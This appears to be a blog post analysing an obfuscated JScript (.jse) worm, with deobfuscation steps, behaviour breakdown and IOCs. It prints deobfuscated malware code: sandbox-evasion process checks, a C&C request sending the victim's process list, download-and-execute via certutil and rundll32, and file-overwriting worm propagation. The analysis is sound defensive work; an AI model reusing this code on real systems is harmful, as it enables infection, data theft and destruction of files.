kukushkayes17t <span style="color: #333333;">=</span> [<span style="color: #0000dd; font-weight: bold;">230</span>, <span style="color: #0000dd; font-weight: bold;">612</span>];
<span style="color: #008800; font-weight: bold;">var</span> kukushkaface35t <span style="color: #333333;">=</span> <span style="color: #6600ee; font-weight: bold;">0.708</span>;
<span style="color: #008800; font-weight: bold;">var</span> kukushkasoft34 <span style="color: #333333;">=</span> <span style="color: #008800; font-weight: bold;">this</span>[(<span style="color: #008800; font-weight: bold;">function</span> hkai_7hk9() {
kukushkaregards76t <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">'Lake10'</span>;
kukushkahave12t <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">'about76'</span>;
<span style="color: #008800; font-weight: bold;">return</span> Weret(<span style="color: #0000dd; font-weight: bold;">64</span> <span style="color: #333333;">^</span> Pesen(arguments));
})(<span style="background-color: #fff0f0;">'holes94'</span>, <span style="background-color: #fff0f0;">'that46'</span>, <span style="background-color: #fff0f0;">'wife5'</span>, <span style="background-color: #fff0f0;">'picking16'</span>, <span style="background-color: #fff0f0;">'What99'</span>) <span style="color: #333333;">+</span> (..<span style="color: #0000dd; font-weight: bold;">400</span>kB <span style="color: #008800; font-weight: bold;">long</span> like <span style="color: #008800; font-weight: bold;">this</span>...)
</pre>
</div>
It's time to deobfuscate. With 400kB, you can't do it by hand, you have<br />
to automatize things. Find obfuscation patterns, remove them and iterate.<br />
<br />
Main steps are:<br />
<b><u>a) renaming utf8 vars to ascii:</u></b><br />
<span style="font-family: "courier new" , "courier" , monospace;">var\ u0073\ u0063\ u0072\ u0031\ u0070\ u0061\ u0074\ u0068 = kukushkavocabulary3to30[(function hkae_5hkaT4() {</span><br />
<br />
This can be done automatically:<br />
<span style="font-family: "courier new" , "courier" , monospace;">var scr1path = kukushakvaocabulary3to30 </span><br />
<br />
<b><u>b) calculating Weret, pesen and easy functions:</u></b><br />
<br />
Weret is the function "<span style="font-family: "courier new" , "courier" , monospace;">fromCharCode</span>"<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">Weret <span style="color: #333333;">=</span> <span style="color: #007020;">String</span>[<span style="background-color: #fff0f0;">"\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"</span>];
<span style="color: #008800; font-weight: bold;">function</span> Pesen(a) {
<span style="color: #008800; font-weight: bold;">return</span> a.length;
};
(<span style="color: #008800; font-weight: bold;">function</span> hkai_7hk9() {
kukushkaregards76t <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">'Lake10'</span>;
kukushkahave12t <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">'about76'</span>;
<span style="color: #008800; font-weight: bold;">return</span> Weret(<span style="color: #0000dd; font-weight: bold;">64</span> <span style="color: #333333;">^</span> Pesen(arguments));
})(<span style="background-color: #fff0f0;">'holes94'</span>, <span style="background-color: #fff0f0;">'that46'</span>, <span style="background-color: #fff0f0;">'wife5'</span>, <span style="background-color: #fff0f0;">'picking16'</span>, <span style="background-color: #fff0f0;">'What99'</span>)
</pre>
</div>
<br />
the first two vars are useless, the end is just length of arguments xored with a constant. In the end, this is <span style="font-family: "courier new" , "courier" , monospace;">fromCharCode(64 XOR 5) = 'E'</span><br />
<br />
This structure comes really often, we can automatize it with regexp, extraction evaluation of js code and replacement.<br />
<br />
<u><b>c) Evaluating long vars</b></u><br />
and we have a lot of var name and expression splitted in pieces:<br />
<span style="font-family: "courier new" , "courier" , monospace;">var kukushkatoto42 = "E" + "r" + "r" + and so on..</span><br />
<br />
This is not really hard to deobfuscate, just take times. It can be automatized.<br />
<br />
<u><b>d) repeat</b></u><br />
We repeat all those simplifications with some python scripts.<br />
<br />
<u><b>e) simplification</b></u><br />
Here is the stripped down version of the .js file<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka/take2$</span> wc *js
<span style="color: #888888;"> 9947 49021 630068 simplified0.js</span>
<span style="color: #888888;"> 9947 47780 621653 simplified1.js</span>
<span style="color: #888888;"> 5584 26049 328812 simplified2.js</span>
<span style="color: #888888;"> 3186 14345 185647 simplified3.js</span>
<span style="color: #888888;"> 3081 13770 178223 simplified4.js</span>
<span style="color: #888888;"> 3034 13566 176057 simplified5.js</span>
<span style="color: #888888;"> 1331 6580 96156 simplified6.js</span>
<span style="color: #888888;"> 457 3089 28791 simplified7.js</span>
<span style="color: #888888;"> 457 2286 25936 simplified8.js</span>
<span style="color: #888888;"> 435 2175 24069 simplified9.js</span>
<span style="color: #888888;"> 322 1854 21089 simplified9-manual0.js</span>
<span style="color: #888888;"> 286 1127 15156 simplified9-manual1.js</span>
<span style="color: #888888;"> 307 1113 14922 simplified9-manual2.js</span>
<span style="color: #888888;"> 280 1032 14040 simplified9-manual3.js</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/infected/kukushka/take2$</span>
</pre>
</div>
<br />
<h4>
2/3/ cleaned up and disarmed</h4>
For reference, You can see in git a disarmed version of the js file. This js file doesn't do any harm. All risky things are commented out. There is also a zip file with every steps. (pass: infected, warning, this is malware)<br />
<br />
<h3>
3/ Program analysis</h3>
You can see the program as a big while(true) loop:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">-Checks the location of .jse file</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">-While true loop</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> Get process list, OS and username</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> Check for some well known analysis tools (and exit if yes)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> Copy itself to startup folder</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> -While true loop</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> Connect to C&C</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> Get file</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> If WORM_MODE, then replace all file in removable drives byt iself</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> Exec file downloaded previously</span><br />
<br />
<h3>
3/1/ startup</h3>
At start, the jse file checks if it was launched from the <span style="font-family: "courier new" , "courier" , monospace;">Start Menu\Programs\Startup\ folder</span> and if it has the name <span style="font-family: "courier new" , "courier" , monospace;">adobe_upd.jse</span>.<br />
<br />
In any case, it throws a fake error message then continue (all comments are mine).<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">/* [+] JSEFILE is C:\Users\mitsurugi\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe_upd.jse */</span>
<span style="color: #008800; font-weight: bold;">try</span> {
<span style="color: #008800; font-weight: bold;">if</span> (scr1path <span style="color: #333333;">!=</span> JSEFILE) {
objFile <span style="color: #333333;">=</span> FSObject[<span style="background-color: #fff0f0;">"OpenTextFile"</span>](scr1path, <span style="color: #0000dd; font-weight: bold;">1</span>, <span style="color: #008800; font-weight: bold;">false</span>, <span style="color: #0000dd; font-weight: bold;">0</span>);
mybodyhere <span style="color: #333333;">=</span> objFile[<span style="background-color: #fff0f0;">"ReadLine"</span>]();
objFile[<span style="background-color: #fff0f0;">"Close"</span>]();
FILENAMEisBAD <span style="color: #333333;">=</span> <span style="color: #008800; font-weight: bold;">true</span>;
<span style="color: #008800; font-weight: bold;">if</span> (SHOW_ERROR) ObjectWscriptShell[<span style="background-color: #fff0f0;">"Popup"</span>](<span style="background-color: #fff0f0;">"scr1path is not JSEFILE!!"</span>, <span style="color: #0000dd; font-weight: bold;">10</span>, <span style="background-color: #fff0f0;">"Error"</span>, <span style="color: #0000dd; font-weight: bold;">16</span>);
<span style="color: #008800; font-weight: bold;">if</span> (FSObject[<span style="background-color: #fff0f0;">"FileExists"</span>](JSEFILE)) {
<span style="color: #888888;">/* In case user launch another time the file by double clicking on it?*/</span>
<span style="color: #008800; font-weight: bold;">this</span>.WScript[<span style="background-color: #fff0f0;">"Quit"</span>](<span style="color: #0000dd; font-weight: bold;">1</span>);
}
} <span style="color: #008800; font-weight: bold;">else</span> {}
} <span style="color: #008800; font-weight: bold;">catch</span> (WSdrFgyvb) {
ObjectWscriptShell[<span style="background-color: #fff0f0;">"Popup"</span>](<span style="background-color: #fff0f0;">"A File Error has Occurred"</span>, <span style="color: #0000dd; font-weight: bold;">5</span>, <span style="background-color: #fff0f0;">"Error"</span>, <span style="color: #0000dd; font-weight: bold;">16</span>);
}
</pre>
</div>
<br />
It makes the a huge iteration:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #008800; font-weight: bold;">while</span> (<span style="color: #0000dd; font-weight: bold;">16</span>) { <span style="color: #888888;">/* While True */</span>
gokolp0 <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">"low"</span>; <span style="color: #888888;">/* gokolp0 is never used elsewhere */</span>
Counter <span style="color: #333333;">=</span> Counter <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">1</span>;
<span style="color: #008800; font-weight: bold;">if</span> (Counter <span style="color: #333333;">==</span> <span style="color: #0000dd; font-weight: bold;">2040000</span>) {
<span style="color: #888888;">/* all malware code */</span>
}
}
</pre>
</div>
<br />
Once again, it can be seen as an antidebug techniques. Some sandbox and antivirus checks the<br />
file for a specific time. To avoid "Sleep()" function, they often hook the sleep's to<br />
accelerate time. With a loop like this, there nothing you can hook to accelerate time.<br />
<br />
<h4>
3/2/ Get a lot of information from victim</h4>
The script uses wmi to grab all of information needed:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #008800; font-weight: bold;">var</span> obj00WMI <span style="color: #333333;">=</span> <span style="color: #008800; font-weight: bold;">this</span>.GetObject(<span style="background-color: #fff0f0;">"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2"</span>);
<span style="color: #008800; font-weight: bold;">var</span> ProcessList <span style="color: #333333;">=</span> <span style="color: #008800; font-weight: bold;">new</span> <span style="color: #008800; font-weight: bold;">this</span>.Enumerator(obj00WMI[<span style="background-color: #fff0f0;">"ExecQuery"</span>](<span style="background-color: #fff0f0;">"Select * from Win32_Process"</span>));
<span style="color: #008800; font-weight: bold;">var</span> Win32OSList <span style="color: #333333;">=</span> <span style="color: #008800; font-weight: bold;">new</span> <span style="color: #008800; font-weight: bold;">this</span>.Enumerator(obj00WMI[<span style="background-color: #fff0f0;">"ExecQuery"</span>](<span style="background-color: #fff0f0;">"Select * from Win32_OperatingSystem"</span>));
It checks <span style="color: #008800; font-weight: bold;">this</span> list <span style="color: #008800; font-weight: bold;">for</span> exitingi (option9 <span style="color: #333333;">==</span> <span style="color: #333333;">-</span><span style="color: #0000dd; font-weight: bold;">1</span>) (comments are my own)<span style="color: #333333;">:</span>
<span style="color: #008800; font-weight: bold;">if</span> (ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"Procmon"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"Wireshark"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"Temp\\iexplore.exe"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"ProcessHacker"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"vmtoolsd"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"VBoxService"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"python"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"Proxifier.exe"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"Johnson"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"ImmunityDebugger.exe"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"lordPE.exe"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"ctfmon.exe*JOHN-PC"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"BehaviorDumper"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"antivirus.EXE"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span> <span style="color: #888888;">/* ??? antivirus.EXE?? */</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"AgentSimulator.exe"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"VzService.exe"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"VBoxTray.exe"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"VmRemoteGuest"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"SystemIT|admin"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"WIN7-TRAPS"</span>) <span style="color: #333333;">!=</span> option9 <span style="color: #333333;">||</span>
ProcessPathAndName[<span style="background-color: #fff0f0;">"indexOf"</span>](<span style="background-color: #fff0f0;">"Emily\\AppData"</span>) <span style="color: #333333;">!=</span> option9) <span style="color: #888888;">/*Who's Emily? */</span>
{
reader[<span style="background-color: #fff0f0;">"alert"</span>](<span style="background-color: #fff0f0;">"Screw you guys, Im going home!!!!"</span>);
<span style="color: #888888;">/* "reader" (?) seems undefined */</span>
<span style="color: #008800; font-weight: bold;">this</span>.WScript[<span style="background-color: #fff0f0;">"quit"</span>](<span style="color: #0000dd; font-weight: bold;">1</span>);
}
</pre>
</div>
<br />
As you can guess, all of those process path and name are related to analyis environments<br />
<h4>
3/3/ Calling C&C</h4>
The C&C has the real address. It's obfuscated for the blogpost<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">url_ppp <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">"hxxps://185[.]159.82[.]50:9500/XA/mijagi.php?netuid=bugaga&add=2097d7b063d6f8b5cc803abf3df758aa"</span>;
url_ppp <span style="color: #333333;">=</span> url_ppp <span style="color: #333333;">+</span> <span style="background-color: #fff0f0;">"&u="</span> <span style="color: #333333;">+</span> <span style="color: #007020;">Math</span>[<span style="background-color: #fff0f0;">"abs"</span>](kukushkaships15) <span style="color: #333333;">+</span> <span style="background-color: #fff0f0;">"&o="</span> <span style="color: #333333;">+</span> kukushkatouches96 <span style="color: #333333;">+</span> <span style="background-color: #fff0f0;">"&v="</span> <span style="color: #333333;">+</span> icount <span style="color: #333333;">+</span> <span style="background-color: #fff0f0;">"&s=1994"</span>;
msxmlXMLHTTP[<span style="background-color: #fff0f0;">"open"</span>](<span style="background-color: #fff0f0;">"POST"</span>, url_ppp, <span style="color: #008800; font-weight: bold;">false</span>);
<span style="color: #008800; font-weight: bold;">if</span> (FILENAMEisBAD) {
<span style="color: #888888;">/* At first, Filename is bad because it is not in startup folder</span>
<span style="color: #888888;"> So we sent our name and list of processes */</span>
msxmlXMLHTTP[<span style="background-color: #fff0f0;">"send"</span>](ProcessPathAndName);
} <span style="color: #008800; font-weight: bold;">else</span> {
<span style="color: #888888;">/* This is the part when the jse is in the autostart folder */</span>
msxmlXMLHTTP[<span style="background-color: #fff0f0;">"send"</span>]();
}
</pre>
</div>
<br />
<br />
<ul>
<li>The netuid and add parameter are hardcoded.</li>
<li>The kukushkaships15 depends of the length of the path of the jse file.</li>
<li>The o parameter depends of many things (0 at first, can be 9999, 45, 46, 47, or 9)</li>
<li>The v parameter is 10 or 20</li>
<li>The s parameter is Random</li>
</ul>
<br />
<br />
The interesting part is that it sends all of your data (Process list, OS version and name) to the C&C at the first loop iteration. Maybe the botmaster tracks stats of its emailing?<br />
<br />
The feedback from the C&C is given through an HTTP-Header (!)<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #008800; font-weight: bold;">if</span> (msxmlXMLHTTP[<span style="background-color: #fff0f0;">"status"</span>] <span style="color: #333333;">==</span> <span style="color: #0000dd; font-weight: bold;">200</span>) {
<span style="color: #008800; font-weight: bold;">if</span> (kukushkatouches96 <span style="color: #333333;">==</span> <span style="color: #0000dd; font-weight: bold;">0</span>) {
<span style="color: #008800; font-weight: bold;">try</span> {
<span style="color: #008800; font-weight: bold;">if</span> (msxmlXMLHTTP[<span style="background-color: #fff0f0;">"getResponseHeader"</span>](<span style="background-color: #fff0f0;">"you_god_damn_right"</span>) <span style="color: #333333;">==</span> <span style="background-color: #fff0f0;">'0'</span>) {
file1path <span style="color: #333333;">=</span> JSEFILE;
option9 <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">0</span>; <span style="color: #888888;">/* discriminate based on the response */</span>
}
} <span style="color: #008800; font-weight: bold;">catch</span> (WSdrFgyvb) {}
<span style="color: #008800; font-weight: bold;">try</span> {
<span style="color: #008800; font-weight: bold;">if</span> (msxmlXMLHTTP[<span style="background-color: #fff0f0;">"getResponseHeader"</span>](<span style="background-color: #fff0f0;">"you_god_damn_right"</span>) <span style="color: #333333;">==</span> (<span style="background-color: #fff0f0;">"1"</span>)) {
option9 <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">1</span>; <span style="color: #888888;">/* Guess it's the exe */</span>
}
} <span style="color: #008800; font-weight: bold;">catch</span> (WSdrFgyvb) {}
<span style="color: #008800; font-weight: bold;">try</span> {
<span style="color: #008800; font-weight: bold;">if</span> (msxmlXMLHTTP[<span style="background-color: #fff0f0;">"getResponseHeader"</span>](<span style="background-color: #fff0f0;">"you_god_damn_right"</span>) <span style="color: #333333;">==</span> (<span style="background-color: #fff0f0;">"2"</span>)) {
option9 <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">2</span>; <span style="color: #888888;">/* Or the text to be passed to certutil */</span>
}
} <span style="color: #008800; font-weight: bold;">catch</span> (WSdrFgyvb) {}
<span style="color: #008800; font-weight: bold;">try</span> {
<span style="color: #008800; font-weight: bold;">if</span> (msxmlXMLHTTP[<span style="background-color: #fff0f0;">"getResponseHeader"</span>](<span style="background-color: #fff0f0;">"Content-Transfer-Encoding"</span>) <span style="color: #333333;">==</span> <span style="background-color: #fff0f0;">"binary"</span>) {
ADODBStream[<span style="background-color: #fff0f0;">"Open"</span>]();
ADODBStream[<span style="background-color: #fff0f0;">"Type"</span>] <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">1</span>;
ADODBStream[<span style="background-color: #fff0f0;">"Write"</span>](msxmlXMLHTTP[<span style="background-color: #fff0f0;">"responseBody"</span>]);
ADODBStream[<span style="background-color: #fff0f0;">"Position"</span>] <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">0</span>;
ADODBStream[<span style="background-color: #fff0f0;">"SaveToFile"</span>](file1path, <span style="color: #0000dd; font-weight: bold;">2</span>); <span style="color: #888888;">/*file1path rnd name.exe */</span>
ADODBStream[<span style="background-color: #fff0f0;">"Close"</span>]();
} <span style="color: #008800; font-weight: bold;">else</span> {
<span style="color: #008800; font-weight: bold;">if</span> (CCresponseText.length <span style="color: #333333;">></span> <span style="color: #0000dd; font-weight: bold;">10</span>);
objFile <span style="color: #333333;">=</span> FSObject[<span style="background-color: #fff0f0;">"CreateTextFile"</span>](TEMPFOLDER_file_mtm, <span style="color: #008800; font-weight: bold;">true</span>, <span style="color: #008800; font-weight: bold;">false</span>); <span style="color: #888888;">/*mtm file */</span>
objFile[<span style="background-color: #fff0f0;">"WriteLine"</span>](CCresponseText);
objFile[<span style="background-color: #fff0f0;">"Close"</span>]();
<span style="color: #008800; font-weight: bold;">this</span>.WScript[<span style="background-color: #fff0f0;">"Sleep"</span>](<span style="color: #0000dd; font-weight: bold;">5000</span>);
shellApp[<span style="background-color: #fff0f0;">"ShellExecute"</span>](<span style="background-color: #fff0f0;">"certutil"</span>, <span style="background-color: #fff0f0;">"-f -decode"</span> <span style="color: #333333;">+</span> TEMPFOLDER_file.mtm <span style="color: #333333;">+</span> (<span style="background-color: #fff0f0;">""</span>) <span style="color: #333333;">+</span> charq <span style="color: #333333;">+</span> file1path <span style="color: #333333;">+</span> charq, <span style="background-color: #fff0f0;">''</span>, <span style="background-color: #fff0f0;">"open"</span>, <span style="color: #0000dd; font-weight: bold;">0</span>);
}
}
</pre>
</div>
<br />
We understand that server can send either a binary file (.exe) or a base64 one.<br />
<br />
<h4>
3/3/ Wormisation</h4>
This file has wormable capabilities. It search for any removable drives, and duplicate its .jse contents to any file ending in<br />
<span style="font-family: "courier new" , "courier" , monospace;">var FileExtTargets ="*.doc*.xls*.pdf*.rtf*.txt*.pub*.odt*.ods*.odp*.odm*.odc*.odb*.wps*.xlk*.ppt*.mdb*.accdb*.pst*.dwg*.dxf*.dxg*.wpd";</span><br />
<br />
The file content is wiped, replaced by the jse content, and file extension is replaced by .jse.<br />
<br />
This is not really a stealthy way to propagate, but it can works.<br />
<br />
<h4>
3/4/ Code execution</h4>
Finally, the .jse tries to launches the exe file.<br />
option9 is given by the server header.<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #008800; font-weight: bold;">switch</span> (option9) {
<span style="color: #008800; font-weight: bold;">case</span> <span style="color: #333333;">-</span><span style="color: #0000dd; font-weight: bold;">1</span><span style="color: #333333;">:</span>
shellApp[<span style="background-color: #fff0f0;">"ShellExecute"</span>](<span style="background-color: #fff0f0;">"cmd"</span>, <span style="background-color: #fff0f0;">"/c start "</span> <span style="color: #333333;">+</span> file1path, <span style="background-color: #fff0f0;">''</span>, <span style="background-color: #fff0f0;">"open"</span>, exit123);
kukushkatouches96 <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">45</span>;
<span style="color: #008800; font-weight: bold;">break</span>;
<span style="color: #008800; font-weight: bold;">case</span> <span style="color: #0000dd; font-weight: bold;">0</span><span style="color: #333333;">:</span>
shellApp[<span style="background-color: #fff0f0;">"ShellExecute"</span>](<span style="background-color: #fff0f0;">"cmd"</span>, <span style="background-color: #fff0f0;">"/c start "</span> <span style="color: #333333;">+</span> file1path, <span style="background-color: #fff0f0;">''</span>, <span style="background-color: #fff0f0;">"open"</span>, exit123);
kukushkatouches96 <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">46</span>;
<span style="color: #008800; font-weight: bold;">break</span>;
<span style="color: #008800; font-weight: bold;">case</span> <span style="color: #0000dd; font-weight: bold;">1</span><span style="color: #333333;">:</span>
shellApp[<span style="background-color: #fff0f0;">"ShellExecute"</span>](<span style="background-color: #fff0f0;">"rundll32"</span>, charq <span style="color: #333333;">+</span> file1path <span style="color: #333333;">+</span> charq <span style="color: #333333;">+</span> <span style="background-color: #fff0f0;">" secretFunction"</span>, <span style="background-color: #fff0f0;">''</span>, <span style="background-color: #fff0f0;">"open"</span>, exit123);
kukushkatouches96 <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">47</span>;
<span style="color: #008800; font-weight: bold;">break</span>;
<span style="color: #008800; font-weight: bold;">case</span> <span style="color: #0000dd; font-weight: bold;">2</span><span style="color: #333333;">:</span>
shellApp[<span style="background-color: #fff0f0;">"ShellExecute"</span>](<span style="background-color: #fff0f0;">"taskkill"</span>, <span style="background-color: #fff0f0;">"/f /t /im chrome.exe"</span>, <span style="background-color: #fff0f0;">''</span>, <span style="background-color: #fff0f0;">"open"</span>, <span style="color: #0000dd; font-weight: bold;">0</span>);<span style="color: #333333;">\</span>
shellApp[<span style="background-color: #fff0f0;">"ShellExecute"</span>](file1path, <span style="background-color: #fff0f0;">"/silent /install"</span>, <span style="background-color: #fff0f0;">''</span>, <span style="background-color: #fff0f0;">"runas"</span>, <span style="color: #0000dd; font-weight: bold;">1</span>);
kukushkatouches96 <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">48</span>;
<span style="color: #008800; font-weight: bold;">break</span>;
}
</pre>
</div>
<br />
So, the downloaded file seems to be a plain exe, a dll and an installer which must kill Chrome<br />
before installing (?)<br />
<br />
<h4>
3/5/ Fun stuff</h4>
As usual in worms/malware, you can find funny strings:<br />
<span style="font-family: "courier new" , "courier" , monospace;">reader["alert"]("Screw you guys, Im going home!!!!");</span><br />
It can be a reference to South Park<br />
<br />
When server sends data, there is an header:<br />
<span style="font-family: "courier new" , "courier" , monospace;">if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == ("2")) {</span><br />
and the wormable part uses a temp filename called "<span style="font-family: "courier new" , "courier" , monospace;">saymyname</span>"<br />
<br />
It seems we have a fan of breaking bad here.<br />
<br />
The obfuscation makes an heavy use of kukushka to prefix variable names. kukushka means cuckoo in russian. Don't know what to conclude here.<br />
<br />
<h3>
4/ Get the files</h3>
I've used my disarmed file to get the files, but didn't succeeded. At the time of writing this blog, the server doesn't respond anymore, so the campaign is finished I guess.<br />
As this file makes a lot of antidebug techniques, I don't think you can easily get the files. All parameters depends on something, you have strict timers. Maybe server part checks everything and sends only file to specific targets. I used my disarmed js file instead of making some wget for those reason.<br />
<br />
In Virustotal, you have the first occurence of the file the 10 of October, the viral detection beguns the 13:<br />
<a href="https://www.virustotal.com/#/file/e5fcb6e3ecbd08e18445d04edb84384eadff13cd01e91b737fcc2f0fb1b4d10d/detection">https://www.virustotal.com/#/file/e5fcb6e3ecbd08e18445d04edb84384eadff13cd01e91b737fcc2f0fb1b4d10d/detection</a> (suspicious.ace file)<br />
<a href="https://www.blogger.com/goog_1048657953"><br /></a>
<a href="https://www.virustotal.com/#/file/224ad333eb3b27056b968c453ad007aa5a4a613730da767937c7c2511bf2b84f/detection">https://www.virustotal.com/#/file/224ad333eb3b27056b968c453ad007aa5a4a613730da767937c7c2511bf2b84f/detection</a> (suspicious jse file)<br />
<a href="https://www.blogger.com/goog_1048657955"><br /></a>
<a href="https://www.virustotal.com/#/ip-address/185.159.82.50">https://www.virustotal.com/#/ip-address/185.159.82.50</a><br />
This one is interesting because someone tries to analyze https://185[.]159.82[.]50:9500/DA/mijagi.php?netuid=bugaga which is only a part of the requests made to the C&C. May be someone deobfuscating the .jse and who doesn't saw that there is more in parameteres<br />
<br />
<h3>
5/ IOCs</h3>
It seems pretty useless to block the IP.<br />
Strangely, the header name you_god_damn_right seems more reliable. You can find other occurence of it in the googleweb:<br />
<br />
<a href="https://community.spiceworks.com/topic/1954953-file-ext-changed-to-jse">https://community.spiceworks.com/topic/1954953-file-ext-changed-to-jse</a> (go to the end of the post)<br />
Date: Sep 2 2017<br />
<br />
